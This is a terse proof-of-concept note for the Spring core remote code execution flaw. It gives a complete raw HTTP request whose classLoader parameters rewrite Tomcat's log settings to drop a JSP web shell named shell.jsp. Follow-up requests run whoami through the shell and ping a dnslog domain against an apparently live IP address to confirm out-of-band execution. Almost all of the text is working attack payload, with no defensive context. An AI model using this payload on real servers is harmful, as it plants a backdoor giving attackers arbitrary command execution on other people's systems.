Spring core RCE

poc

  1. POST / HTTP/1.1
  2. Host: 127.0.0.1:8080
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9
  8. Connection: close
  9. suffix: %>
  10. prefix: <%Runtime
  11. Content-Type: application/x-www-form-urlencoded
  12. Content-Length: 495
  14. class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
  1. GET /shell.jsp?cmd=whoami HTTP/1.1
  2. Host: 127.0.0.1:8080

image.png命令记得url编码

  1. http://123.58.224.8:42647/shell.jsp?cmd=ping%20rgliai.dnslog.cn

image.png